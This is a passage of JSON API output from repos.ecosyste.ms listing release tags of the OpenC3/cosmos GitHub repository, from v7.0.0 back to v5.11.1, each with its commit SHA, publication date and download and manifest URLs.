https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v7.0.0/manifests"},{"name":"v7.0.0-rc3","sha":"c3ea3499cc01801122361524f6ccce2fdfbc35f0","kind":"tag","published_at":"2026-03-06T14:54:54.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v7.0.0-rc3","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v7.0.0-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v7.0.0-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v7.0.0-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v7.0.0-rc3/manifests"},{"name":"v7.0.0-rc2","sha":"64b376bcab48c6854ec535e0e76e69637571581a","kind":"tag","published_at":"2026-02-19T23:28:02.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v7.0.0-rc2","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v7.0.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v7.0.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v7.0.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v7.0.0-rc2/manifests"},{"name":"v7.0.0-rc1","sha":"132648bad3b202bc5acf4d099d0af2341ec97047","kind":"tag","published_at":"2026-02-16T20:07:11.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v7.0.0-rc1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v7.0.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v7.0.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v7.0.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v7.0.0-rc1/manifests"},{"name":"v6.10.4","sha":"7e556090e78b39a99baceb9487ca9ac6227329bf","kind":"tag","published_at":"2026-01-10T20:29:29.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v6.10.4","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v6.10.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v6.10.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.10.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.10.4/manifests"},{"name":"v6.10.3","sha":"84287e747b53b8982d29b89cf17f04601f4eb5fa","kind":"tag","published_at":"2025-12-30T02:26:35.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v6.10.3","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v6.10.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v6.10.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.10.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.10.3/manifests"},{"name":"v6.10.2","sha":"180d4b639c11cf070671f0a49ba1cfaf87eb87f1","kind":"tag","published_at":"2025-12-16T20:26:02.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v6.10.2","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v6.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v6.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.10.2/manifests"},{"name":"v6.10.1","sha":"6e3e651ab6b9c0c6db5fdf5f5f142c7af2ba39b1","kind":"tag","published_at":"2025-12-10T04:10:01.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v6.10.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v6.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v6.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.10.1/manifests"},{"name":"v6.10.0","sha":"4615178e432d240b43c8fc9c1f37b016c6613292","kind":"tag","published_at":"2025-12-10T00:34:40.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v6.10.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v6.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v6.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.10.0/manifests"},{"name":"v6.9.2","sha":"84cda2971e33cbf843d4e1dc2644fcfd32ed8437","kind":"tag","published_at":"2025-11-05T19:21:03.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v6.9.2","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v6.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v6.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.9.2/manifests"},{"name":"v6.9.1","sha":"93824da6dfbfd898ba461e6120af5425080be1f1","kind":"tag","published_at":"2025-10-05T17:51:47.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v6.9.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v6.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v6.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.9.1/manifests"},{"name":"v6.9.0","sha":"0227123c3368ce9b730d0e41fc378edede1447a1","kind":"tag","published_at":"2025-10-03T21:39:07.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v6.9.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v6.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v6.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.9.0/manifests"},{"name":"v6.8.1","sha":"9ede3c89ae42b2e66b3392af7acb120a278d18cc","kind":"tag","published_at":"2025-09-13T16:32:49.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v6.8.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v6.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v6.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.8.1/manifests"},{"name":"v6.8.0","sha":"9a087a322b0996fae26d05f9219466954c8fc2e3","kind":"tag","published_at":"2025-09-11T21:41:56.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v6.8.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v6.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v6.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.8.0/manifests"},{"name":"v6.7.0","sha":"75e3448c0363b457642080e1f9543b6ecca11f03","kind":"tag","published_at":"2025-08-05T01:23:23.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v6.7.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v6.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v6.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.7.0/manifests"},{"name":"v6.6.0","sha":"88c6c31f501e31bca267ff650232c9c32ce28c2a","kind":"tag","published_at":"2025-07-08T18:07:31.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v6.6.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v6.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v6.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.6.0/manifests"},{"name":"v6.5.1","sha":"15bdb3077b04f9efe139923dff161df57a3a2412","kind":"tag","published_at":"2025-06-30T22:30:52.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v6.5.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v6.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v6.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.5.1/manifests"},{"name":"v6.5.0","sha":"d9254577345675c825fd34b5b686ee0125308a90","kind":"tag","published_at":"2025-06-13T04:09:37.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v6.5.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v6.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v6.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.5.0/manifests"},{"name":"v6.4.2","sha":"88435bf40bab73118fcaeb1a18d54e654c58d6e5","kind":"tag","published_at":"2025-05-30T21:03:37.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v6.4.2","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v6.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v6.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.4.2/manifests"},{"name":"v6.4.1","sha":"de60d618ea70cf0d818110a1152bad664d43d57d","kind":"tag","published_at":"2025-05-14T17:43:37.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v6.4.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v6.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v6.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.4.1/manifests"},{"name":"v6.4.0","sha":"a50e07106885551c55a3f79689f8084cff985385","kind":"tag","published_at":"2025-05-07T19:30:14.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v6.4.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v6.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v6.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.4.0/manifests"},{"name":"v6.3.0","sha":"28260dfbc3e80f5d590cde659748f786d32c39bf","kind":"tag","published_at":"2025-04-05T03:51:24.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v6.3.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v6.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v6.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.3.0/manifests"},{"name":"v6.2.1","sha":"8821e9008ac4e8a7e9e70898150d5a41a0e5526c","kind":"tag","published_at":"2025-03-07T03:04:23.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v6.2.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v6.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v6.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.2.1/manifests"},{"name":"v6.2.0","sha":"0c189161e153cc39feac296a5fbadced6f6b87b9","kind":"tag","published_at":"2025-03-01T22:57:33.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v6.2.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v6.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v6.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.2.0/manifests"},{"name":"v6.1.0","sha":"165b29b9cdf33b7676cb3da80bf123937c09b8bc","kind":"tag","published_at":"2025-02-05T06:23:07.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v6.1.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v6.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v6.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.1.0/manifests"},{"name":"v6.0.2","sha":"65fd4be2423c5d9d84642a7c0f049f0b36998dde","kind":"tag","published_at":"2025-01-09T20:18:15.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v6.0.2","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v6.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v6.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.0.2/manifests"},{"name":"v6.0.1","sha":"697092ddcd173c053ce32ef8058f4ae7751c47d4","kind":"tag","published_at":"2024-12-20T22:08:55.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v6.0.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v6.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v6.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.0.1/manifests"},{"name":"v6.0.0","sha":"6e0d24067e57572254471e0460bcc10931740c40","kind":"tag","published_at":"2024-12-17T22:05:17.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v6.0.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v6.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v6.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.0.0/manifests"},{"name":"v5.20.0","sha":"c4f22dbd01f17538236a2d9b585a48d076a85296","kind":"tag","published_at":"2024-10-30T23:01:04.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.20.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.20.0/manifests"},{"name":"v5.19.0","sha":"fa395189069aee7697f67e1739bc37c56fcc3e6d","kind":"tag","published_at":"2024-10-01T19:34:50.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.19.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.19.0/manifests"},{"name":"v5.18.0","sha":"c38c4f73671404aaf5181c7d4f360a0b766e8141","kind":"tag","published_at":"2024-08-19T20:35:48.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.18.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.18.0/manifests"},{"name":"v5.17.1","sha":"30d516ca252a513dc582a87aaabbe1e24bb02654","kind":"tag","published_at":"2024-06-27T14:05:33.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.17.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.17.1/manifests"},{"name":"v5.17.0","sha":"4315ac6d9f89a37c20dcb7e6f417bdfe6fb9497a","kind":"tag","published_at":"2024-06-26T03:49:25.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.17.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.17.0/manifests"},{"name":"v5.16.2","sha":"efa36d35a8c315464653e2a0639130340a780879","kind":"tag","published_at":"2024-05-23T16:41:22.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.16.2","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.16.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.16.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.16.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.16.2/manifests"},{"name":"v5.16.1","sha":"751650061f6766d6592bf351e6ec033227050303","kind":"tag","published_at":"2024-05-08T23:43:59.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.16.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.16.1/manifests"},{"name":"v5.16.0","sha":"0150fd4f9eb564e6862bdfaa0ff577543a77daf2","kind":"tag","published_at":"2024-05-04T03:13:06.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.16.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.16.0/manifests"},{"name":"v5.15.2","sha":"aba97d02ad0a188a01241f5f079ceaa5947ac446","kind":"tag","published_at":"2024-04-01T02:54:27.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.15.2","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.15.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.15.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.15.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.15.2/manifests"},{"name":"v5.15.1","sha":"5f2a1acf2a6e62567c38497b97cf31d6dab1fcda","kind":"tag","published_at":"2024-03-15T17:54:55.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.15.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.15.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.15.1/manifests"},{"name":"v5.15.0","sha":"eb864ffee3a7b6b2ee7242f52581932c59a0ec8d","kind":"tag","published_at":"2024-03-10T03:38:26.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.15.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.15.0/manifests"},{"name":"v5.14.2","sha":"202c88bcae0a28eedd08107b56b575fe56428601","kind":"tag","published_at":"2024-02-10T22:01:48.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.14.2","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.14.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.14.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.14.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.14.2/manifests"},{"name":"v5.14.1","sha":"4e6dd174bd025cac6ea4981b9a8f58f835d2c0d6","kind":"tag","published_at":"2024-01-24T22:23:33.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.14.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.14.1/manifests"},{"name":"v5.14.0","sha":"b80f485f16985a97404ec4ff8ebd155aed648b4b","kind":"tag","published_at":"2024-01-18T23:49:55.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.14.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.14.0/manifests"},{"name":"v5.13.0","sha":"1f81670e9ce858e5de15909f9bb64874d314a3d4","kind":"tag","published_at":"2023-12-18T17:30:58.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.13.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.13.0/manifests"},{"name":"v5.12.0","sha":"a912ebbd272f6e4625a66e7dbec03763a279d710","kind":"tag","published_at":"2023-11-10T15:04:58.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.12.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.12.0/manifests"},{"name":"v5.11.3","sha":"37b1ea37b0ca43f9693fa30adb80066a518e7227","kind":"tag","published_at":"2023-10-09T19:57:25.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.11.3","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.11.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.11.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.11.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.11.3/manifests"},{"name":"v5.11.2","sha":"289740e54c919eae784c85cdd38407c719691e1b","kind":"tag","published_at":"2023-10-02T23:50:46.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v5.11.2","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v5.11.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v5.11.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.11.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v5.11.2/manifests"},{"name":"v5.11.1","sha":"7dd722b1c1f28d385781d8161ddd851e93bc443f","kind":"tag","published_at":"2023-09-30T02:29:10.000Z","download_url":"https://codelo